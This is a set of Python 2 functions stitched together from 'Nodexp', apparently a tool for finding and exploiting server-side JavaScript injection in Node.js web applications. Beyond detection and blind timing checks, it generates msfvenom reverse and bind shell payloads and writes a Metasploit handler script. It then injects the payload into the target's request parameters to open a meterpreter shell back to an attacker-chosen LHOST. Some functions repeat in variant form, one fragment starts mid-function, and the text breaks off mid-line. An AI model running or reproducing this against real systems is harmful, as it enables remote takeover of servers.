def exploitation_options(msg,error_msg): option = str(raw_input(msg)) try: if option == '1': read_file = upload.read_file() read_spool = upload.read_spool() if read_spool == True: message = Fore.GREEN + '[!] Metasploit is already set. Uploading reverse shell payload!' verbosity.print_message(message, settings.print_info) # Initialize payload # GET case initalize payload if settings.request_method == 0: url = settings.pre_url + '?' + settings.initial_inject_here settings.reverse_shell_payload = urllib.quote(settings.reverse_shell_payload) parameter = url.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) # POST case initialize payload else: parameter = settings.initial_inject_here.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) settings.exploitation_state = 1 interfaces.make_request(parameter) # .. wait until spool is ready and upload payload... # Started reverse TCP handler on print(Fore.GREEN + '[i] Successfully uploaded payload, check msfconsole for meterpreter shell :)') exit(Fore.GREEN + "[i] Quiting 'Nodexp'") elif option == '2': exit(Fore.GREEN + "[i] Quiting 'Nodexp'") else: print(error_msg) return exploitation_options(msg,error_msg) except Exception as e: print(Fore.RED + '[!] ERROR: %s' %e) verbosity.error_info(e)
def read_spool(): # Read spool file untill metasploit session made.. # keyword = False try: counter = 0 with open(settings.spool_file, 'r') as spool: message = Fore.YELLOW + "\n[i] Waiting for Metasploit to be ready!" verbosity.print_message(message, settings.print_info) while not 'Started reverse TCP handler on %s:%s' % ( settings.lhost, settings.lport) in spool.read(): spool.seek(0, 0) message = Fore.YELLOW + "..." verbosity.print_message(message, settings.print_info) sleep(5) counter += 1 if counter > 10: exit( Fore.RED + "[!] ERROR: Waiting for connection response timeout. The given IP address might be wrong. Check the metasploit terminal window (msfconsole) for possible errors." ) print(Fore.GREEN + "[i] Metasploit is ready!\n" + Fore.YELLOW + "[i] Waiting for payload to be uploaded..") return True except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) return False
def exploitation_options(msg,error_msg): option = str(raw_input(msg)) try: if option == '1': read_file = upload.read_file() read_spool = upload.read_spool() if read_spool == True: message = Fore.GREEN + '[!] Metasploit is already set. Uploading the shell payload!' verbosity.print_message(message, settings.print_info) # Initialize payload # GET case initalize payload if settings.request_method == 0: url = settings.pre_url + '?' + settings.initial_inject_here settings.reverse_shell_payload = urllib.quote(settings.reverse_shell_payload) #print settings.reverse_shell_payload parameter = url.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) print parameter # POST case initialize payload else: parameter = settings.initial_inject_here.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) settings.exploitation_state = 1 # .. wait until spool is ready and upload payload... # Reverse shell... if settings.msf_payload != settings.msf_payload_bind: interfaces.make_request(parameter) # Bind shell... if settings.msf_payload == settings.msf_payload_bind: if settings.request_method == 0: # Request with payload (GET) payload_request = urllib2.Request(parameter) urllib2.urlopen(payload_request) else: # Request with payload (POST) payload_request = urllib2.Request(settings.url,data=parameter) urllib2.urlopen(payload_request) # Do the request to RHOST rhost_port = settings.prefix_rhost + ":" + settings.lport bind_request = urllib2.Request(rhost_port) urllib2.urlopen(bind_request) # Started TCP handler on print(Fore.GREEN + '[i] Successfully uploaded payload! In case of reverse shell, an upgraded meterpreter shell is successfully established :)') exit(Fore.GREEN + "[i] Quiting 'Nodexp'") elif option == '2': exit(Fore.GREEN + "[i] Quiting 'Nodexp'") else: print(error_msg) return exploitation_options(msg,error_msg) except Exception as e: print(Fore.RED + '[!] ERROR: %s' %e) verbosity.error_info(e)
def initialize_input(args): try: # Printing arguments settings.print_info = args.print_info settings.print_diff = args.diff # Initial detection arguments settings.url = format(args.url) if args.post_data != None: settings.pdata = format(args.post_data) if args.cookies != 'None': settings.cookie = format(args.cookies) if args.technique != 'None': settings.technique = format(args.technique) verbosity.print_message( Fore.GREEN + Style.BRIGHT + '[i] Injection technique set to "%s based"' % (settings.technique), settings.print_info) # Results based injection arguments settings.rand = format(args.rand) settings.dig = format(args.dig) settings.initialize_rands() # Blind injection arguments settings.time_threshold = args.time_threshold # --> #time# in dictionary settings.loop = args.loop settings.elen = args.elen settings.nlen = args.nlen settings.clen = args.clen settings.initialize_blind_rands() settings.margin_factor = args.time_factor settings.validation_loop = args.validation_loop # Exploitation arguments settings.payload_path = args.payload_path settings.rc_path = args.rc_path # Initialize exploitation paths if settings.payload_path == 1: settings.payload_path = settings.cwd + '/scripts' if settings.rc_path == 1: settings.rc_path = settings.cwd + '/scripts' settings.lhost = str(args.lhost) settings.lport = str(args.lport) settings.encoding[0] = args.encode #[future work] Additional attacks.. # settings.include = format(args.include) #if args.exclude != 'None': # settings.exclude = format(args.exclude) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def checkLPORT(portnumber): try: port = int(portnumber) if port < 65536 and port >= 0: message = (Fore.GREEN + "[!] Setting local port: 'LPORT' = '%d'" %(port)) verbosity.print_message(message, settings.print_info) return port else: print(Fore.RED + "[!] ERROR: Port number range exceeded.") return get_input("[?] Please, set your local port.\n - ","LPORT") except ValueError: print(Fore.RED + "[!] ERROR: Input is not an integer.") return get_input("[?] Please, set your local port.\n - ","LPORT")
def checkLHOST(ip): try: Setting_ip = ip.split('.') if len(Setting_ip) != 4: print(Fore.RED + "[!] ERROR: Input is not a valid ip address") return get_input("[?] Please, set your local host ip.\n - ","LHOST") else: socket.inet_aton(ip) message = (Fore.GREEN + "[!] Setting local host ip: 'LHOST' = '%s'" %(ip)) verbosity.print_message(message, settings.print_info) return ip except socket.error: print(Fore.RED + "[!] ERROR: Input is not a valid ip address") return get_input("[?] Please, set your local host ip.\n - ","LHOST")
def initialize_path_functions(input_answer,msflag): try: # Check local path existence.. path = checkPathExistence(input_answer,msflag) # Path does not exist.. # .. give default choices or retype path.. while path == 'None': options = raw_input("[?] Do you want to retype path or give one of the defaults [~/, ~/Desktop, ~/Documents]?\n" + Fore.YELLOW + "[i] (Press: 1,2,3 for defaults accordingly or type the new path)\n" + Fore.WHITE + " - ") path = pathExistenceOptions(options,path,msflag) message = (Fore.GREEN + "[!] Setting path: '%s' = '%s'" %(msflag,path)) verbosity.print_message(message, settings.print_info) return path except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e)
def check_keywords_before_injection(simple_urlopen): message = Fore.YELLOW + '[>]\n\n[<] Check response for expected keywords on valid request (false positives) :' verbosity.print_message(message, settings.print_info) try: if settings.responded_keys: del settings.responded_keys[:] for keyword in settings.expected_responses: if keyword in simple_urlopen: settings.responded_keys.append(keyword) if settings.responded_keys: print Fore.RED + Style.BRIGHT + '[!] WARNING: EXCPECTED HTML RESPONSE CONTAINS MATCHING KEYWORD(S) BEFORE INJECTION!\n' + Style.NORMAL + Fore.WHITE + '[i] Expected response\'s matching keyword(s) (%s) found on page when valid request made; without injecting any payload. This might lead to false conclusions (false positives)! Blind injection technique might be more accurate in this case.' % list( settings.responded_keys) return True else: message = Fore.WHITE + Style.DIM + '[-] No keywords found.' #\n' + Fore.YELLOW + Style.NORMAL + '[>]' verbosity.print_message(message, settings.print_info) return False except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def init(): try: # Parse input user_input = flags_init.parse_input() # Show nodexp message graphics.ascii_art() # Global settings initialization & input initialization settings.init() flags_init.initialize_input(user_input) message = (Fore.WHITE + Style.DIM + "[-] Check and initialize input values") verbosity.print_message(message, settings.print_info) # Initialize input based on request method (GET or POST) flags_init.request_method() except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def print_blind_injection_stats(): print Fore.YELLOW + "\n[<] Blind Injection Results:" total = settings.blind_injection_pass[0] + settings.blind_injection_pass[1] message = Fore.GREEN + "[!] %s out of %d passed the minimum time threshold ( %f millieseconds)" % ( settings.blind_injection_pass[0], total, settings.minimum_time_threshold) verbosity.print_message(message, settings.print_info) message = Fore.GREEN + "[!] %s out of %d NOT passed the minimum time threshold ( %f millieseconds)" % ( settings.blind_injection_pass[1], total, settings.minimum_time_threshold) verbosity.print_message(message, settings.print_info) rate = float(settings.blind_injection_pass[0]) / (total) percentage = abs(rate * 100) message = Fore.GREEN + "[!] Percentage success rate: %d%%" % percentage verbosity.print_message(message, settings.print_info) clear_blind_injection_arrays() if percentage < 100: print( Fore.RED + '[!] Blind injection is not 100% sucessfull and does not seem to be vulnerable. In case you want more accurate results you have to re-run the process.' ) else: ask_exploitation = interfaces.change_technique( settings.ex_prompt_message, settings.ex_options_message, settings.ex_alter_tech_msg, settings.ex_current_tech_msg) if ask_exploitation == True: exploitation.initialize_payload_options(True)
def check_redirection_with_valid_parameters(): redirections_sum = 0 counter = 0 try: while counter < 3: # one for each input case if settings.request_method == 1: # init valid POST parameters for request parameter = settings.pdata parameter = parameter.replace( settings.inject_here_replace, settings.valid_input_values[counter]) request = urllib2.Request(settings.url, data=parameter, headers={'Cookie': settings.cookie}) else: # Init valid GET parameters for request url = settings.url.replace( settings.inject_here_replace, settings.valid_input_values[counter]) settings.url = url parameter = url request = urllib2.Request(parameter, headers={'Cookie': settings.cookie}) if counter == 0: message = Fore.YELLOW + '\n[<] Checking for redirection with valid parameter: \n(' + parameter + ')' verbosity.print_message(message, settings.print_info) else: message = Fore.YELLOW + '\n[-] Checking for redirection with valid parameter: \n(' + parameter + ')' verbosity.print_message(message, settings.print_info) # Check for valid redirection redirection = interfaces.check_redirection( urllib2.urlopen(request), settings.technique) # Initialize url and post data #settings.url = settings.initial_parameter if redirection == 1: redirections_sum += 1 elif redirection == 0: settings.valid_parameters = parameter message = Style.DIM + '[i] No redirection with valid parameter (' + parameter + ').' + Style.NORMAL + Fore.YELLOW + '\n[>]' verbosity.print_message(message, settings.print_info) counter += 1 if redirections_sum > 2: return False else: return True except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) sys.exit()
def define_time_threshold(): message = (Fore.YELLOW + '\n[<] Setting response time threshold') verbosity.print_message(message, settings.print_info) minimum_time = settings.average_request_time * settings.margin_factor if (minimum_time < settings.time_threshold): minimum_time = settings.time_threshold message = Style.DIM + '[-] Calculating response threshold based on average response time (%f) and its factor (%f)' % ( settings.average_request_time, settings.margin_factor) verbosity.print_message(message, settings.print_info) message = ( Fore.GREEN + '[!] Acceptable response time greater than : %s milliesecond(s)' % str(minimum_time)) verbosity.print_message(message, settings.print_info) message = (Fore.YELLOW + '[>]') verbosity.print_message(message, settings.print_info) return minimum_time
def check_redirection(res, tech): try: # Do not show this message everytime you make a request on blind injection if tech != 'blind': message = Fore.YELLOW + '\n[<] Checking for redirection' verbosity.print_message(message, settings.print_info) # Redirection made # Ask to follow.. if res.url != settings.url: message = Fore.RED + Style.BRIGHT + '[!] WARNING: REDIRECTION FOUND!\n' + Style.NORMAL + Fore.WHITE + " from: " + Fore.GREEN + Style.BRIGHT + settings.url + "\n" + Style.NORMAL + Fore.WHITE + " to: " + Fore.RED + Style.BRIGHT + res.url print message # Ask to quit prompt_message = Fore.WHITE + Style.BRIGHT + "[?] Do you want to follow redirection?\n" options_message = Style.DIM + Fore.WHITE + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n" if settings.print_info == 1: prompt_message += options_message error_msg = Fore.RED + '[-] Not follow redirection.' continue_msg = Fore.WHITE + Style.NORMAL + '[-] Follow redirection.' answer = prompt.yesOrNo(prompt_message, continue_msg, error_msg) verbosity.print_message(answer[0], settings.print_info) settings.follow_redirection = 1 # If follow redirection if answer[1] == 1: settings.url = res.url settings.pre_url = settings.url if settings.technique != 'blind': message = Style.NORMAL + Fore.YELLOW + '[>]' verbosity.print_message(message, settings.print_info) # No redirection else: if tech != 'blind': message = Style.DIM + Fore.WHITE + '[-] No redirection made.' #\n' + Fore.YELLOW + Style.NORMAL + '[>]' verbosity.print_message(message, settings.print_info) settings.follow_redirection = 0 return settings.follow_redirection except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) sys.exit()
def start_exploitation(): try: message = Fore.YELLOW + '\n[<] Generate exploitation files and run metasploit.' verbosity.print_message(message, settings.print_info) if settings.encoding[0] == 1: if settings.msf_payload == settings.msf_payload_reverse: proc = subprocess.Popen( "msfvenom -p " + settings.msf_payload + " LHOST=" + settings.lhost + " LPORT=" + str(settings.lport) + " -e " + settings.encode + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() else: proc = subprocess.Popen( "msfvenom -p " + settings.msf_payload + " LPORT=" + str(settings.lport) + " -e " + settings.encode + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() with open(settings.payload_path, "r+") as content_file: data = content_file.readlines() data = ''.join(data) data_string = str(data) data_string = data_string.lstrip() #data_string = base64.b64encode(data_string) data_string = data_string.encode('hex') file_data = content_file.read() content_file.seek(0, 0) content_file.write(settings.append_top + data_string + settings.append_bottom) settings.reverse_shell_payload = settings.append_top + data_string + settings.append_bottom # Generate payload without encoding ### UNENCODED CASE else: if settings.msf_payload == settings.msf_payload_reverse: proc = subprocess.Popen( "msfvenom -p " + settings.msf_payload + " LHOST=" + settings.lhost + " LPORT=" + str(settings.lport) + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() else: proc = subprocess.Popen("msfvenom -p " + settings.msf_payload + " LPORT=" + str(settings.lport) + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() with open(settings.payload_path, "r+") as content_file: data = content_file.readlines() data = ''.join(data) data_string = str(data) data_string = data_string.lstrip() content_file.seek(0, 0) payload = content_file.write(data) settings.reverse_shell_payload = data_string message = Fore.GREEN + "[i] Successfully generated payload file! [" + settings.payload_path + "]" verbosity.print_message(message, settings.print_info) # Remove and regenerate spool file settings.spool_file = settings.rc_path + ".output.txt" # Check if spool file already exists if os.path.exists(settings.spool_file) == True: try: os.remove(settings.spool_file) create_spool_file = open(settings.spool_file, "w+") message = Fore.GREEN + "[i] Successfully generated metasploit log file (spool file) [%s]" % settings.spool_file verbosity.print_message(message, settings.print_info) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) else: try: create_spool_file = open(settings.spool_file, "w+") message = Fore.GREEN + "[i] Successfully generated metasploit log file (spool file) [%s]" % settings.spool_file verbosity.print_message(message, settings.print_info) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) # .RC SCRIPT generation with open(settings.rc_path, 'w+') as filewrite: if settings.msf_payload == settings.msf_payload_reverse: filewrite.write( "use exploit/multi/handler\n" "set payload " + settings.msf_payload + "\n" "set lhost " + settings.lhost + "\n" "set lport " + str(settings.lport) + "\n" "set ExitOnSession true \n" "set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" "spool " + settings.spool_file + "\n" "exploit -j -z\n\n") elif settings.msf_payload == settings.msf_payload_bind: filewrite.write( "use exploit/multi/handler\n" "set payload " + settings.msf_payload + "\n" "set rhost " + settings.rhost + "\n" "set lport " + str(settings.lport) + "\n" "set ExitOnSession true \n" #"set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" "spool " + settings.spool_file + "\n" "exploit -j -z\n\n") else: filewrite.write( "use exploit/multi/handler\n" "set payload " + settings.msf_payload + "\n" "set lhost " + settings.lhost + "\n" "set lport " + str(settings.lport) + "\n" "set ExitOnSession true \n" #"set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" "spool " + settings.spool_file + "\n" "exploit -j -z\n\n") message = Fore.GREEN + "[i] Successfully generated .rc script! [%s]" % settings.rc_path verbosity.print_message(message, settings.print_info) # >/dev/null 2>&1 -> sends the output to garbage, # /dev/null is a black hole where any data sent will be discarded. Standar output (1) and standar error output (2) will be send there. message = Style.DIM + "[-] Opening metasploit console..." verbosity.print_message(message, settings.print_info) msfconsole = os.system( "xterm -e 'bash -c \"msfconsole -r %s; exec bash\"' &> /dev/null 2>&1" % settings.rc_path) message = Fore.GREEN + "[i] Successfully loaded metasploit!" verbosity.print_message(message, settings.print_info) if settings.msf_payload != settings.msf_payload_bind: exploitation_options_msg = ( Fore.WHITE + "[?] Please, select options above:\n (1) Upload the payload at '%s:%s' (current metasploit session); type: '1'\n (2) If you want to exit; type: '2'\n - " % (settings.lhost, settings.lport)) exploitation_options_invalid_input_msg = Fore.RED + 'Sorry, invalid input. Please, try again.' next_step = options.exploitation_options( exploitation_options_msg, exploitation_options_invalid_input_msg) else: exploitation_options_msg = ( Fore.WHITE + "[?] Please, select options above:\n (1) Upload the payload at '%s' (current metasploit session); type: '1'\n (2) If you want to exit; type: '2'\n - " % (settings.pre_url)) exploitation_options_invalid_input_msg = Fore.RED + 'Sorry, invalid input. Please, try again.' next_step = options.exploitation_options( exploitation_options_msg, exploitation_options_invalid_input_msg) if next_step == 2: start_exploitation() elif next_step == 3: initialize_payload_options() except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def parse_wordlist(try_counter, initial_data, initial_inject_here): try: text_loop = xrange(1, settings.total_line_count, 2) for index in text_loop: # Re initialize url if not follow redirection if settings.follow_redirection == 0: settings.url = initial_data settings.inject_here = initial_inject_here payload = linecache.getline(settings.ssji_wordlist, index).rstrip() # Exit when no more payloads on wordlist if payload == '---end' or payload == '': print( Fore.RED + '[!] End of payloads in the corresponding dictionary txt file.\n[!] Quit.' ) sys.exit() break # Get static expected responses expected_response = linecache.getline(settings.ssji_wordlist, index + 1).rstrip() settings.expected_responses = expected_response.split(',') settings.expected_responses.extend(settings.error_responses) # Create randomized payload variables and it's dymamic expected response accordingly randomized_data = randomizer(payload, settings.expected_responses) payload = randomized_data[0] expected_response = randomized_data[1] # Initialize payload settings.inject_here = settings.inject_here.replace( '[INJECT_HERE]', payload, 1) #settings.pdata = settings.inject_here parameter = settings.inject_here # GET case initalize payload if settings.request_method == 0: settings.url = settings.url.replace('[INJECT_HERE]', urllib.quote(payload), 1) parameter = settings.url # Message for each injection print('\n%s' % settings.hr) print('[i] Try no. ' + format(try_counter) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.inject_here + ')' + Fore.WHITE + Style.NORMAL + ':') print('%s' % settings.hr) # SSJI begins.. verbosity.print_message( Fore.WHITE + Style.DIM + '[-] Starting injecting requests with current payload... ', settings.print_info) # Make request with payload payload_response = interfaces.make_request(parameter) # If HTTPError or BadStatusLine if settings.request_error == 1: settings.request_error = 0 # Next payload.. try_counter += 1 continue # Check for redirection on malicious request interfaces.check_redirection(payload_response[1], settings.technique) # Make valid request without payload valid_response = interfaces.make_request(settings.pre_url) # Check for expected keywords before injection with valid requests and ask for blind injection accordingly ask_blind = check_keywords_before_injection(valid_response[0]) if ask_blind == True: blind = interfaces.change_technique( settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) if blind == True: # Re-initialize input with [INJECT_HERE] settings.inject_here = settings.initial_inject_here blind_technique.blind_injection() sys.exit() break # Compare HTML results (both valid and injected requests) compare_html_pages(valid_response[3], payload_response[3]) # Next payload.. try_counter += 1 detection = injection_results(payload_response[2], expected_response, try_counter) # Website is vulnerable on SSJI if detection == 1: # Ask for starting exploitation ask_exploitation = interfaces.change_technique( settings.ex_prompt_message, settings.ex_options_message, settings.ex_alter_tech_msg, settings.ex_current_tech_msg) if ask_exploitation == True: exploitation.initialize_payload_options(True) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def injection_results(plaintext_result, expected_response, try_counter): try: try_no = format(try_counter - 1) if settings.print_info == 1: print Style.NORMAL + Fore.YELLOW + '[>]\n' message = Fore.YELLOW + '\n[<] Show injection (Try no. ' + try_no + ') results :' verbosity.print_message(message, 1) expected_payload = list( set(expected_response) ^ set(settings.error_responses)) # For any of the expected responses which exists in injected HTML response too! for payload in expected_response: if payload in plaintext_result: # If payload exists in HTML response before injection.. if payload in settings.responded_keys: # Response existed before injection. May be 'False Positive' message = Fore.RED + "[!] Response(s) '%s' existed before injection. High possibility for 'False Positive' assumption on this case!" % payload verbosity.print_message(message, 1) settings.invalid_responses.append(payload) # If payload exists in payload's dynamic response.. elif payload in expected_payload: # SSJI Done based on payload and it's dynamic response! message = Fore.GREEN + "[!] SSJI Done based on payload and it's dynamic response (%s)!" % payload verbosity.print_message(message, 1) settings.valid_responses.append(payload) # If payload exists in settings.error_responses.. elif payload in settings.error_responses: # SSJI Done based on error responses. May be 'False Positive' message = Fore.GREEN + "[!] SSJI Done based on error response (%s). Low possibility for 'False Positive' assumption on this case." % payload verbosity.print_message(message, 1) settings.valid_responses.append(payload) else: sys.exit( Fore.RED + 'ERROR: Payload response error. Check payloads.txt file for possible syntax errors.' ) # Noone of the expected responses found in injected HTML response! if not (settings.valid_responses) and not (settings.invalid_responses): message = Fore.RED + '[!] No remarkable responses. Website (' + settings.url + ')is NOT vulnerable on SSJI using "' + settings.inject_here + '" as payload and ' + settings.technique + 's based technique. Check payloads.txt file for possible syntax errors or change injection technique.\n' + Fore.YELLOW + '[>]' verbosity.print_message(message, 1) return 0 # If any of the expected responses found in the injected HTML response! elif (settings.valid_responses or settings.invalid_responses): # If both valid and invalid responses found... if settings.valid_responses and settings.invalid_responses: message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + '\n[i] Valid Response(s): %s\n' % ( list(settings.valid_responses) ) + Fore.RED + '[i] Invalid Response(s): %s' % (list( settings.invalid_responses)) ask_blind = False # If only valid responses found... elif settings.valid_responses: message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + '\n[i] Valid Response(s): %s' % ( list(settings.valid_responses)) ask_blind = False # If only invalid responses found... elif settings.invalid_responses: message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + Fore.RED + '\n[i] Invalid Response(s): %s\n[i] Not sure if website is vulnerable or not. Blind injection technique might be more accurate in this case.' % ( list(settings.invalid_responses)) ask_blind = True verbosity.print_message(message, 1) if ask_blind == True: blind = interfaces.change_technique( settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) if blind == True: # Re-initialize input with [INJECT_HERE] for changing technique settings.inject_here = settings.initial_inject_here blind_technique.blind_injection() sys.exit() else: settings.valid_responses = [] settings.invalid_responses = [] return 0 else: settings.valid_responses = [] settings.invalid_responses = [] return 1 except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def compare_html_pages(valid_html, infected_html): try: if settings.print_diff == 1: # Set info and prepare request if settings.print_info == 1: print Style.NORMAL + Fore.YELLOW + '[>]\n' if settings.request_method == 1: message = Style.NORMAL + Fore.YELLOW + '[<] Compare HTML response before ( ' + Fore.GREEN + settings.pre_url + Fore.YELLOW + ' ) \nand after ( ' + Fore.RED + settings.url + ', & ' + settings.inject_here + Fore.YELLOW + ' ) injection :' else: message = Style.NORMAL + Fore.YELLOW + '[<] Compare HTML response before ( ' + Fore.GREEN + settings.pre_url + Fore.YELLOW + ' ) \nand after ( ' + Fore.RED + settings.url + Fore.YELLOW + ' ) injection :' parameter = settings.inject_here verbosity.print_message(message, settings.print_info) # Compare valid and malicious requests' responses diff_lib = difflib.Differ() diff = diff_lib.compare(list(valid_html.stripped_strings), list(infected_html.stripped_strings)) comparison = list(diff) counter = 0 differences_removed = [] differences_added = [] differences = [] for i in comparison: first_char_comparison = comparison[counter][:1] if first_char_comparison == "-": splitted_comparison = comparison[counter].split("- ") differences_removed.append(splitted_comparison[1]) differences.append(splitted_comparison[1]) elif first_char_comparison == "+": splitted_comparison = comparison[counter].split("+ ") differences_added.append(splitted_comparison[1]) differences.append(splitted_comparison[1]) counter += 1 if settings.print_diff not in []: message = '[i] Removed content : \n' + Fore.WHITE + Style.DIM + '%s' % list( differences_removed) verbosity.print_message(message, settings.print_info) message = '[i] Added Content : \n' + Fore.WHITE + Style.DIM + '%s' % list( differences_added) verbosity.print_message(message, settings.print_info) # False negative error # No changes on html page based on your payload if not differences: print Fore.RED + '[i] HTML content does not seem to change based on your payload.' ask_blind = True else: ask_blind = False if ask_blind == True: blind = interfaces.change_technique( settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) if blind == True: # Re-initialize input with [INJECT_HERE] settings.inject_here = settings.initial_inject_here blind_technique.blind_injection() sys.exit() except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
#print html blind_injection_flag = 0 continue message = Style.DIM + "[-] Request no. %s -> %f seconds" % ( index, request_time) verbosity.print_message(message, settings.print_info) if blind_injection_flag == 1: check_blind_injection(request_time) amount += request_time message = Style.DIM + '[-] Total time spend on %d requests = %f seconds' % ( loop, amount) verbosity.print_message(message, settings.print_info) settings.average_request_time = amount / loop settings.average_request_time = settings.average_request_time * 1000 message = Fore.GREEN + '[!] Average request time = ' + str( settings.average_request_time ) + ' millieseconds.\n' + Fore.YELLOW + '[>]' verbosity.print_message(message, settings.print_info) if blind_injection_flag == 1: print_blind_injection_stats() def define_time_threshold(): message = (Fore.YELLOW + '\n[<] Setting response time threshold') verbosity.print_message(message, settings.print_info) minimum_time = settings.average_request_time * settings.margin_factor if (minimum_time < settings.time_threshold):
def blind_injection(): try: if settings.inject_here_replace in settings.inject_here: print(Fore.YELLOW + Style.BRIGHT + '\nStarting preparation..') # Check redirection with valid parameters (e-mail, num, character) continue_process = check_redirection_with_valid_parameters() if continue_process != True: print( Fore.RED + "[!] ERROR: All requests got redirected and did not get followed. Maybe url is invalid or you have no access to this url (set the diserable cookie in this case) or simply follow redirection." ) # Compute average request time based on three valid input values (string,num,email) and define threshold average_time_based_on_input_type = [] for valid_value in range(0, 3): # Initialize vars with random input values settings.pdata = settings.pdata.replace( settings.inject_here_replace, settings.valid_input_values[valid_value]) compute_average_request_time(settings.validation_loop, 'valid') average_time_based_on_input_type.append( settings.average_request_time) settings.pdata = settings.initial_parameter # Get the maximux out of averages settings.average_request_time = max( average_time_based_on_input_type) # Set threshold settings.minimum_time_threshold = define_time_threshold() # Start parsing txt file with payloads! total_line_count = sum( 1 for line in open(settings.blind_ssji_wordlist)) print(Fore.YELLOW + Style.BRIGHT + '\nStarting Blind Injection Technique') message = Style.DIM + '\n[-] Searching for SSJI vulnerabilities...' verbosity.print_message(message, settings.print_info) try_counter = 1 initial_data = settings.url initial_inject_here = settings.inject_here settings.initial_inject_here = initial_inject_here for index in xrange(1, total_line_count, 2): if settings.break_blind == 0: # Initialize url and data for each new payload.. settings.url = initial_data settings.inject_here = initial_inject_here # Get the payload from the file mal_code = linecache.getline(settings.blind_ssji_wordlist, index).rstrip() if mal_code == '---end' or mal_code == '': print( Fore.RED + '[!] End of payloads in the corresponding dictionary txt file.\n[!] Quit.' ) break if settings.request_method == 1: # POST CASE settings.inject_here = settings.inject_here.replace( settings.inject_here_replace, mal_code, 1) settings.pdata = settings.inject_here else: # GET CASE # Unquote just in case that is already percent encoded (URL encoded) and then ... mal_code = urllib.unquote(mal_code) # ... percent encode for GET requests percent_encoded_data = interfaces.percent_encoding( mal_code) settings.percent_encoded_URL = percent_encoded_data settings.inject_here = settings.percent_encoded_URL settings.pdata = settings.percent_encoded_URL # Initialize blind injection payload blind_replacer(settings.minimum_time_threshold) decimal = 0 # Start randomizing payload if settings.blind_wildcard == 1: for case in range(0, 3): # Attack! decimal += 1 settings.pdata = settings.blind_injection_cases[ case] # Message for each injection print('\n%s' % settings.hr) print('[i] Try no. ' + format(try_counter) + '.' + format(decimal) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.pdata + ')' + Fore.WHITE + Style.NORMAL + ':') print('%s' % settings.hr) compute_average_request_time( settings.loop, 'malicious') if settings.break_blind == 1: break else: # Message for each injection print('\n%s' % settings.hr) print('[i] Try no. ' + format(try_counter) + '.' + format(decimal) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.pdata + ')' + Fore.WHITE + Style.NORMAL + ':') print('%s' % settings.hr) compute_average_request_time(settings.loop, 'malicious') try_counter += 1 else: break else: sys.exit('ERROR: [INJECT_HERE] not found on your input! > %s' % settings.inject_here) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def compute_average_request_time(loop, payload_type): amount = 0 # Print for request with payload if payload_type == 'malicious': if settings.request_method == 0: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time using payload: \n(%s)' % (settings.pre_url + '?' + settings.pdata)) verbosity.print_message(message, settings.print_info) else: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time using payload: \n(%s)' % settings.pdata) verbosity.print_message(message, settings.print_info) # Print for valid request elif payload_type == 'valid': if settings.request_method == 0: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time with valid parameter: \n(%s)' % settings.pdata) verbosity.print_message(message, settings.print_info) else: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time with valid parameter: \n(%s)' % settings.pdata) verbosity.print_message(message, settings.print_info) else: raise Exception( Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.' ) for index in range(loop): if settings.request_method == 0: #GET case # Valid request settings if payload_type == 'valid': post_request = urllib2.Request( settings.pdata, headers={'Cookie': settings.cookie}) blind_injection_flag = 0 # Request with payload settings elif payload_type == 'malicious': url = settings.pre_url + '?' + settings.pdata settings.url = url post_request = urllib2.Request( url, headers={'Cookie': settings.cookie}) blind_injection_flag = 1 # Check also for redirection for malicious request if index < 1: interfaces.check_redirection(urllib2.urlopen(post_request), settings.technique) else: raise Exception( Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.' ) else: #POST case # Valid request case if payload_type == 'valid': #request_time = requests.post(settings.pre_url, data=settings.pdata).elapsed.total_seconds() post_request = urllib2.Request( settings.pre_url, data=settings.pdata, headers={'Cookie': settings.cookie}) blind_injection_flag = 0 # Request with payload case elif payload_type == 'malicious': #request_time = requests.post(settings.pre_url, data=settings.pdata, cookies={'Cookie':settings.cookie}).elapsed.total_seconds() post_request = 